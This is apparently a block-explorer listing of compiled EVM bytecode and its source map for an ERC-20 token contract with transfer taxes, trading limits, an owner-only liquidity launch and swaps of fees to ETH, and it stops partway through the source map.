60040161040390611829565b6106f86009600a611803565b61070690633b9aca00611812565b600f556107156009600a611803565b61072390633b9aca00611812565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075d6009600a611803565b61076b90633b9aca00611812565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161040390611829565b6107b14761105c565b565b6000546001600160a01b031633146107dd5760405162461bcd60e51b815260040161040390611829565b601454600160a01b900460ff16156108375760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610403565b6013546001600160a01b031663f305d7194730610869816001600160a01b031660009081526001602052604090205490565b60008061087e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090b919061187d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906118ab565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103ae338484610abd565b6001600160a01b038316610a055760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f20616464726573736044820152606401610403565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f206164647265737300006044820152606401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610403565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610403565b60008111610bcf5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b6064820152608401610403565b601454600160a81b900460ff1680610bf15750601454600160b01b900460ff16155b15610c9c576001600160a01b038316600090815260016020526040902054610c19908261109e565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4890826110e7565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab09085815260200190565b6000546001600160a01b03848116911614801590610cc857506000546001600160a01b03838116911614155b15611012576001600160a01b03831660009081526004602052604090205460ff16158015610d0f57506001600160a01b03821660009081526004602052604090205460ff16155b610d1857600080fd5b60065460ff1615610dfb576013546001600160a01b03838116911614801590610d4f57506014546001600160a01b03838116911614155b15610dfb57326000908152600560205260409020544311610de85760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610403565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e2657506013546001600160a01b03838116911614155b8015610e4b57506001600160a01b03821660009081526003602052604090205460ff16155b15610f3357600f54811115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610403565b60105481610ec5846001600160a01b031660009081526001602052604090205490565b610ecf91906118cd565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610403565b600e8054906000610f2d836118e0565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f6a57506014546001600160a01b038481169116145b8015610f7f5750601454600160b01b900460ff165b8015610f8e5750600d54600e54115b8015610fb357506001600160a01b03841660009081526003602052604090205460ff16155b8015610fd857506001600160a01b03831660009081526003602052604090205460ff16155b156110105760115481111561100457611004610fff83610ffa84601254611146565b611146565b61115b565b4761100e4761105c565b505b505b61101d8383836112d5565b505050565b600081848411156110465760405162461bcd60e51b815260040161040391906115e0565b50600061105384866118f9565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561109a573d6000803e3d6000fd5b5050565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611022565b9392505050565b6000806110f483856118cd565b9050838110156110e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610403565b600081831161115557826110e0565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111a3576111a361190c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112209190611860565b816001815181106112335761123361190c565b6001600160a01b03928316602091820292909201015260135461125991309116846109af565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611292908590600090869030904290600401611922565b600060405180830381600087803b1580156112ac57600080fd5b505af11580156112c0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000806112e38585856113b2565b6001600160a01b038716600090815260016020526040902054919350915061130b908361109e565b6001600160a01b038616600090815260016020526040902055611350611331848361109e565b6001600160a01b038616600090815260016020526040902054906110e7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61139a868561109e565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152600360205260408120548190819060ff16156113de5760006113e0565b835b6014549091506000906001600160a01b03878116911614801561140c57506001600160a01b0387163014155b156114445761143d6064611437600c54600e541161142c57600854611430565b600a545b88906114f3565b90611575565b905061146c565b6114696064611437600b54600e541161145f57600754611430565b60095488906114f3565b90505b80156114e7573060009081526001602052604090205461148d9082906118cd565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114de9085815260200190565b60405180910390a35b90969095509350505050565b600082600003611505575060006103b2565b60006115118385611812565b90508261151e8583611993565b146110e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610403565b60006110e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115d35760405162461bcd60e51b815260040161040391906115e0565b5060006110538486611993565b600060208083528351808285015260005b8181101561160d578581018301518582016040015282016115f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461164357600080fd5b50565b6000806040838503121561165957600080fd5b82356116648161162e565b946020939093013593505050565b60008060006060848603121561168757600080fd5b83356116928161162e565b925060208401356116a28161162e565b929592945050506040919091013590565b6000602082840312156116c557600080fd5b81356110e08161162e565b600080604083850312156116e357600080fd5b82356116ee8161162e565b915060208301356116fe8161162e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561175a57816000190482111561174057611740611709565b8085161561174d57918102915b93841c9390800290611724565b509250929050565b600082611771575060016103b2565b8161177e575060006103b2565b8160018114611794576002811461179e576117ba565b60019150506103b2565b60ff8411156117af576117af611709565b50506001821b6103b2565b5060208310610133831016604e8410600b84101617156117dd575081810a6103b2565b6117e7838361171f565b80600019048211156117fb576117fb611709565b029392505050565b60006110e060ff841683611762565b80820281158282048414176103b2576103b2611709565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b60006020828403121561187257600080fd5b81516110e08161162e565b60008060006060848603121561189257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bd57600080fd5b815180151581146110e057600080fd5b808201808211156103b2576103b2611709565b6000600182016118f2576118f2611709565b5060010190565b818103818111156103b2576103b2611709565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119725784516001600160a01b03168352938301939183019160010161194d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119b057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d33c36ba37ee44a29d0188c3e4d9b2c907a9bd3da16576139dde456ff633d83364736f6c63430008140033
Deployed Bytecode Sourcemap
4017:9719:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6036:83;;;;;;;;;;-1:-1:-1;6106:5:0;;;;;;;;;;;-1:-1:-1;;;6106:5:0;;;;6036:83;;;;6106:5;6036:83;:::i;:::-;;;;;;;;6905:186;;;;;;;;;;-1:-1:-1;6905:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6905:186:0;1023:187:1;5205:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5205:53:0;1215:177:1;5284:55:0;;;;;;;;;;;;;;;;6307:95;;;;;;;;;;;;;:::i;12703:397::-;;;;;;;;;;;;;:::i;:::-;;7097:446;;;;;;;;;;-1:-1:-1;7097:446:0;;;;;:::i;:::-;;:::i;6218:83::-;;;;;;;;;;-1:-1:-1;6218:83:0;;4857:1;2000:36:1;;1988:2;1973:18;6218:83:0;1858:184:1;6408:119:0;;;;;;;;;;-1:-1:-1;6408:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6501:18:0;6474:7;6501:18;;;:9;:18;;;;;;;6408:119;3054:148;;;;;;;;;;;;;:::i;12396:201::-;;;;;;;;;;;;;:::i;5053:56::-;;;;;;;;;;;;;;;;13598:100;;;;;;;;;;;;;:::i;2850:79::-;;;;;;;;;;-1:-1:-1;2888:7:0;2915:6;2850:79;;-1:-1:-1;;;;;2915:6:0;;;2445:51:1;;2433:2;2418:18;2850:79:0;2299:203:1;5126:58:0;;;;;;;;;;;;;;;;13106:486;;;;;;;;;;;;;:::i;6533:192::-;;;;;;;;;;-1:-1:-1;6533:192:0;;;;;:::i;:::-;;:::i;4404:40::-;;;;;;;;;;-1:-1:-1;4404:40:0;;;;;;;;6731:168;;;;;;;;;;-1:-1:-1;6731:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6864:18:0;;;6837:7;6864:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6731:168;6905:186;7005:4;7022:39;497:10;7045:7;7054:6;7022:8;:39::i;:::-;-1:-1:-1;7079:4:0;6905:186;;;;;:::o;6307:95::-;6360:7;4913:15;4857:1;4913:2;:15;:::i;:::-;4900:28;;:10;:28;:::i;:::-;6380:14;;6307:95;:::o;12703:397::-;2975:6;;-1:-1:-1;;;;;2975:6:0;497:10;2975:22;2967:61;;;;-1:-1:-1;;;2967:61:0;;;;;;;:::i;:::-;;;;;;;;;12761:15:::1;:104:::0;;-1:-1:-1;;;;;;12761:104:0::1;12812:42;12761:104:::0;;::::1;::::0;;;12876:58:::1;::::0;12893:4:::1;::::0;4913:15:::1;4857:1;4913:2;:15;:::i;:::-;4900:28;::::0;:10:::1;:28;:::i;:::-;12876:8;:58::i;:::-;12979:15;;;;;;;;;-1:-1:-1::0;;;;;12979:15:0::1;-1:-1:-1::0;;;;;12979:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12961:55:0::1;;13039:4;13059:15;;;;;;;;;-1:-1:-1::0;;;;;13059:15:0::1;-1:-1:-1::0;;;;;13059:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12961:131;::::0;-1:-1:-1;;;;;;12961:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;12961:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;12961:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12945:13;:147:::0;;-1:-1:-1;;;;;;12945:147:0::1;-1:-1:-1::0;;;;;12945:147:0;;;::::1;::::0;;;::::1;::::0;;12703:397::o;7097:446::-;7229:4;7246:36;7256:6;7264:9;7275:6;7246:9;:36::i;:::-;7293:220;7316:6;497:10;7364:138;7420:6;7364:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7364:19:0;;;;;;:11;:19;;;;;;;;497:10;7364:33;;;;;;;;;;:37;:138::i;7293:220::-;-1:-1:-1;7531:4:0;7097:446;;;;;:::o;3054:148::-;2975:6;;-1:-1:-1;;;;;2975:6:0;497:10;2975:22;2967:61;;;;-1:-1:-1;;;2967:61:0;;;;;;;:::i;:::-;3161:1:::1;3145:6:::0;;3124:40:::1;::::0;-1:-1:-1;;;;;3145:6:0;;::::1;::::0;3124:40:::1;::::0;3161:1;;3124:40:::1;3192:1;3175:19:::0;;-1:-1:-1;;;;;;3175:19:0::1;::::0;;3054:148::o;12396:201::-;2975:6;;-1:-1:-1;;;;;2975:6:0;497:10;2975:22;2967:61;;;;-1:-1:-1;;;2967:61:0;;;;;;;:::i;:::-;4913:15:::1;4857:1;4913:2;:15;:::i;:::-;4900:28;::::0;:10:::1;:28;:::i;:::-;12450:12;:22:::0;4913:15:::1;4857:1;4913:2;:15;:::i;:::-;4900:28;::::0;:10:::1;:28;:::i;:::-;12483:14;:24:::0;12518:20:::1;:28:::0;;-1:-1:-1;;12518:28:0::1;::::0;;12562:27:::1;4913:15;4857:1;-1:-1:-1::0;4913:15:0::1;:::i;:::-;4900:28;::::0;:10:::1;:28;:::i;:::-;12562:27;::::0;1361:25:1;;;1349:2;1334:18;12562:27:0::1;;;;;;;12396:201::o:0;13598:100::-;2975:6;;-1:-1:-1;;;;;2975:6:0;497:10;2975:22;2967:61;;;;-1:-1:-1;;;2967:61:0;;;;;;;:::i;:::-;13655:35:::1;13668:21;13655:12;:35::i;:::-;13598:100::o:0;13106:486::-;2975:6;;-1:-1:-1;;;;;2975:6:0;497:10;2975:22;2967:61;;;;-1:-1:-1;;;2967:61:0;;;;;;;:::i;:::-;13171:11:::1;::::0;-1:-1:-1;;;13171:11:0;::::1;;;13170:12;13162:48;;;::::0;-1:-1:-1;;;13162:48:0;;5710:2:1;13162:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;13162:48:0::1;5508:347:1::0;13162:48:0::1;13221:15;::::0;-1:-1:-1;;;;;13221:15:0::1;:31;13260:21;13305:4;13325:24;13305:4:::0;-1:-1:-1;;;;;6501:18:0;6474:7;6501:18;;;:9;:18;;;;;;;6408:119;13325:24:::1;13364:1;13380::::0;13396:7:::1;2888::::0;2915:6;-1:-1:-1;;;;;2915:6:0;;2850:79;13396:7:::1;13221:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13221:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13221:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13418:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13221:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13462:13:0::1;::::0;13493:15:::1;::::0;13455:71:::1;::::0;-1:-1:-1;;;13455:71:0;;-1:-1:-1;;;;;13493:15:0;;::::1;13455:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13462:13:0;::::1;::::0;-1:-1:-1;13455:29:0::1;::::0;6930:18:1;;13455:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13537:11:0::1;:18:::0;;-1:-1:-1;;;;13566:18:0;-1:-1:-1;;;13566:18:0;;;13106:486::o;6533:192::-;6636:4;6653:42;497:10;6677:9;6688:6;6653:9;:42::i;7549:327::-;-1:-1:-1;;;;;7642:19:0;;7634:64;;;;-1:-1:-1;;;7634:64:0;;7546:2:1;7634:64:0;;;7528:21:1;;;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;7676:18;;7634:64:0;7344:356:1;7634:64:0;-1:-1:-1;;;;;7717:21:0;;7709:64;;;;-1:-1:-1;;;7709:64:0;;7907:2:1;7709:64:0;;;7889:21:1;7946:2;7926:18;;;7919:30;7985:32;7965:18;;;7958:60;8035:18;;7709:64:0;7705:354:1;7709:64:0;-1:-1:-1;;;;;7784:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7836:32;;1361:25:1;;;7836:32:0;;1334:18:1;7836:32:0;;;;;;;;7549:327;;;:::o;7882:2482::-;-1:-1:-1;;;;;7975:18:0;;7967:64;;;;-1:-1:-1;;;7967:64:0;;8266:2:1;7967:64:0;;;8248:21:1;8305:2;8285:18;;;8278:30;8344:34;8324:18;;;8317:62;-1:-1:-1;;;8395:18:1;;;8388:31;8436:19;;7967:64:0;8064:397:1;7967:64:0;-1:-1:-1;;;;;8050:16:0;;8042:60;;;;-1:-1:-1;;;8042:60:0;;8668:2:1;8042:60:0;;;8650:21:1;8707:2;8687:18;;;8680:30;8746:33;8726:18;;;8719:61;8797:18;;8042:60:0;8466:355:1;8042:60:0;8135:1;8121:11;:15;8113:63;;;;-1:-1:-1;;;8113:63:0;;9028:2:1;8113:63:0;;;9010:21:1;9067:2;9047:18;;;9040:30;9106:34;9086:18;;;9079:62;-1:-1:-1;;;9157:18:1;;;9150:33;9200:19;;8113:63:0;8826:399:1;8113:63:0;8191:6;;-1:-1:-1;;;8191:6:0;;;;;:22;;-1:-1:-1;8202:11:0;;-1:-1:-1;;;8202:11:0;;;;8201:12;8191:22;8187:238;;;-1:-1:-1;;;;;8248:15:0;;;;;;:9;:15;;;;;;:32;;8268:11;8248:19;:32::i;:::-;-1:-1:-1;;;;;8230:15:0;;;;;;;:9;:15;;;;;;:50;;;;8311:13;;;;;;;:30;;8329:11;8311:17;:30::i;:::-;-1:-1:-1;;;;;8295:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8361:31;;;;;;;;;;8380:11;1361:25:1;;1349:2;1334:18;;1215:177;8187:238:0;2888:7;2915:6;-1:-1:-1;;;;;8439:15:0;;;2915:6;;8439:15;;;;:32;;-1:-1:-1;2888:7:0;2915:6;-1:-1:-1;;;;;8458:13:0;;;2915:6;;8458:13;;8439:32;8435:1871;;;-1:-1:-1;;;;;8497:10:0;;;;;;:4;:10;;;;;;;;8496:11;:24;;;;-1:-1:-1;;;;;;8512:8:0;;;;;;:4;:8;;;;;;;;8511:9;8496:24;8488:33;;;;;;8540:20;;;;8536:520;;;8621:15;;-1:-1:-1;;;;;8607:30:0;;;8621:15;;8607:30;;;;:83;;-1:-1:-1;8676:13:0;;-1:-1:-1;;;;;8662:28:0;;;8676:13;;8662:28;;8607:83;8581:460;;;8796:9;8767:39;;;;:28;:39;;;;;;8809:12;-1:-1:-1;8733:211:0;;;;-1:-1:-1;;;8733:211:0;;9432:2:1;8733:211:0;;;9414:21:1;9471:2;9451:18;;;9444:30;9510:34;9490:18;;;9483:62;9581:34;9561:18;;;9554:62;-1:-1:-1;;;9632:19:1;;;9625:38;9680:19;;8733:211:0;9230:475:1;8733:211:0;8996:9;8967:39;;;;:28;:39;;;;;9009:12;8967:54;;8581:460;9100:13;;-1:-1:-1;;;;;9092:21:0;;;9100:13;;9092:21;:72;;;;-1:-1:-1;9148:15:0;;-1:-1:-1;;;;;9134:30:0;;;9148:15;;9134:30;;9092:72;:116;;;;-1:-1:-1;;;;;;9186:22:0;;;;;;:18;:22;;;;;;;;9185:23;9092:116;9070:448;;;9266:12;;9251:11;:27;;9243:65;;;;-1:-1:-1;;;9243:65:0;;9912:2:1;9243:65:0;;;9894:21:1;9951:2;9931:18;;;9924:30;9990:27;9970:18;;;9963:55;10035:18;;9243:65:0;9710:349:1;9243:65:0;9388:14;;9373:11;9357:13;9367:2;-1:-1:-1;;;;;6501:18:0;6474:7;6501:18;;;:9;:18;;;;;;;6408:119;9357:13;:27;;;;:::i;:::-;:45;;9327:145;;;;-1:-1:-1;;;9327:145:0;;10396:2:1;9327:145:0;;;10378:21:1;10435:2;10415:18;;;10408:30;10474:28;10454:18;;;10447:56;10520:18;;9327:145:0;10194:350:1;9327:145:0;9491:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9070:448;9581:4;9532:28;6501:18;;;:9;:18;;;;;;9625:6;;-1:-1:-1;;;9625:6:0;;;;9624:7;:47;;;;-1:-1:-1;9658:13:0;;-1:-1:-1;;;;;9652:19:0;;;9658:13;;9652:19;9624:47;:79;;;;-1:-1:-1;9692:11:0;;-1:-1:-1;;;9692:11:0;;;;9624:79;:130;;;;;9736:18;;9724:9;;:30;9624:130;:176;;;;-1:-1:-1;;;;;;9776:24:0;;;;;;:18;:24;;;;;;;;9775:25;9624:176;:220;;;;-1:-1:-1;;;;;;9822:22:0;;;;;;:18;:22;;;;;;;;9821:23;9624:220;9602:693;;;9905:14;;9882:20;:37;9879:207;;;9944:122;9987:56;9991:11;10004:38;10008:20;10030:11;;10004:3;:38::i;:::-;9987:3;:56::i;:::-;9944:16;:122::i;:::-;10133:21;10225:35;10238:21;10225:12;:35::i;:::-;9860:435;9602:693;8473:1833;8435:1871;10316:40;10334:4;10340:2;10344:11;10316:17;:40::i;:::-;7882:2482;;;:::o;1664:224::-;1784:7;1820:12;1812:6;;;;1804:29;;;;-1:-1:-1;;;1804:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1844:9:0;1856:5;1860:1;1856;:5;:::i;:::-;1844:17;1664:224;-1:-1:-1;;;;;1664:224:0:o;12603:92::-;12660:10;;:27;;:10;;;;-1:-1:-1;;;;;12660:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12603:92;:::o;1522:136::-;1580:7;1607:43;1611:1;1614;1607:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1600:50;1522:136;-1:-1:-1;;;1522:136:0:o;1337:179::-;1395:7;;1427:5;1431:1;1427;:5;:::i;:::-;1415:17;;1456:1;1451;:6;;1443:46;;;;-1:-1:-1;;;1443:46:0;;11024:2:1;1443:46:0;;;11006:21:1;11063:2;11043:18;;;11036:30;11102:29;11082:18;;;11075:57;11149:18;;1443:46:0;10822:351:1;11794:107:0;11851:7;11883:1;11879;:5;11878:15;;11892:1;11878:15;;;-1:-1:-1;11888:1:0;11794:107;-1:-1:-1;11794:107:0:o;11907:483::-;5622:6;:13;;-1:-1:-1;;;;5622:13:0;-1:-1:-1;;;5622:13:0;;;12009:16:::1;::::0;;12023:1:::1;12009:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12009:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12009:16:0::1;11985:40;;12054:4;12036;12041:1;12036:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12036:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12080:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12080:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12036:7;;12080:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12070:4;12075:1;12070:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12070:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12145:15:::1;::::0;12113:62:::1;::::0;12130:4:::1;::::0;12145:15:::1;12163:11:::0;12113:8:::1;:62::i;:::-;12186:15;::::0;:196:::1;::::0;-1:-1:-1;;;12186:196:0;;-1:-1:-1;;;;;12186:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12267:11;;12186:15:::1;::::0;12309:4;;12336::::1;::::0;12356:15:::1;::::0;12186:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5658:6:0;:14;;-1:-1:-1;;;;5658:14:0;;;-1:-1:-1;;;;11907:483:0:o;10370:364::-;10465:15;10482:17;10503:32;10513:4;10519:2;10523:11;10503:9;:32::i;:::-;-1:-1:-1;;;;;10564:15:0;;;;;;:9;:15;;;;;;10464:71;;-1:-1:-1;10464:71:0;-1:-1:-1;10564:28:0;;10464:71;10564:19;:28::i;:::-;-1:-1:-1;;;;;10546:15:0;;;;;;:9;:15;;;;;:46;10619:45;10637:26;:11;10653:9;10637:15;:26::i;:::-;-1:-1:-1;;;;;10619:13:0;;;;;;:9;:13;;;;;;;:17;:45::i;:::-;-1:-1:-1;;;;;10603:13:0;;;;;;;:9;:13;;;;;:61;;;;10680:46;;;10699:26;:11;10715:9;10699:15;:26::i;:::-;10680:46;;1361:25:1;;;1349:2;1334:18;10680:46:0;;;;;;;10453:281;;10370:364;;;:::o;10740:1048::-;-1:-1:-1;;;;;10906:24:0;;10858:7;10906:24;;;:18;:24;;;;;;10858:7;;;;10906:24;;10905:25;:43;;10947:1;10905:43;;;10933:11;10905:43;11011:13;;10887:61;;-1:-1:-1;10959:17:0;;-1:-1:-1;;;;;11005:19:0;;;11011:13;;11005:19;:44;;;;-1:-1:-1;;;;;;11028:21:0;;11044:4;11028:21;;11005:44;11001:563;;;11078:216;11290:3;11078:189;11147:16;;11135:9;;:28;11134:114;;11233:15;;11134:114;;;11192:13;;11134:114;11078:11;;:33;:189::i;:::-;:211;;:216::i;:::-;11066:228;;11001:563;;;11339:213;11548:3;11339:186;11408:15;;11396:9;;:27;11395:111;;11492:14;;11395:111;;;11452:12;;11339:11;;:33;:186::i;:213::-;11327:225;;11001:563;11578:13;;11574:169;;11653:4;11635:24;;;;:9;:24;;;;;;:36;;11662:9;;11635:36;:::i;:::-;11626:4;11608:24;;;;:9;:24;;;;;;;:63;;;;11691:40;;-1:-1:-1;;;;;11691:40:0;;;;;;;11721:9;1361:25:1;;1349:2;1334:18;;1215:177;11691:40:0;;;;;;;;11574:169;11761:7;;;;-1:-1:-1;10740:1048:0;-1:-1:-1;;;;10740:1048:0:o;1894:246::-;1952:7;1976:1;1981;1976:6;1972:47;;-1:-1:-1;2006:1:0;1999:8;;1972:47;2029:9;2041:5;2045:1;2041;:5;:::i;:::-;2029:17;-1:-1:-1;2074:1:0;2065:5;2069:1;2029:17;2065:5;:::i;:::-;:10;2057:56;;;;-1:-1:-1;;;2057:56:0;;12851:2:1;2057:56:0;;;12833:21:1;12890:2;12870:18;;;12863:30;12929:34;12909:18;;;12902:62;-1:-1:-1;;;12980:18:1;;;12973:31;13021:19;;2057:56:0;12649:397:1;2146:132:0;2204:7;2231:39;2235:1;2238;2231:39;;;;;;;;;;;;;;;;;2404:7;2439:12;2432:5;2424:28;;;;-1:-1:-1;;;2424:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2463:9:0;2475:5;2479:1;2475;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-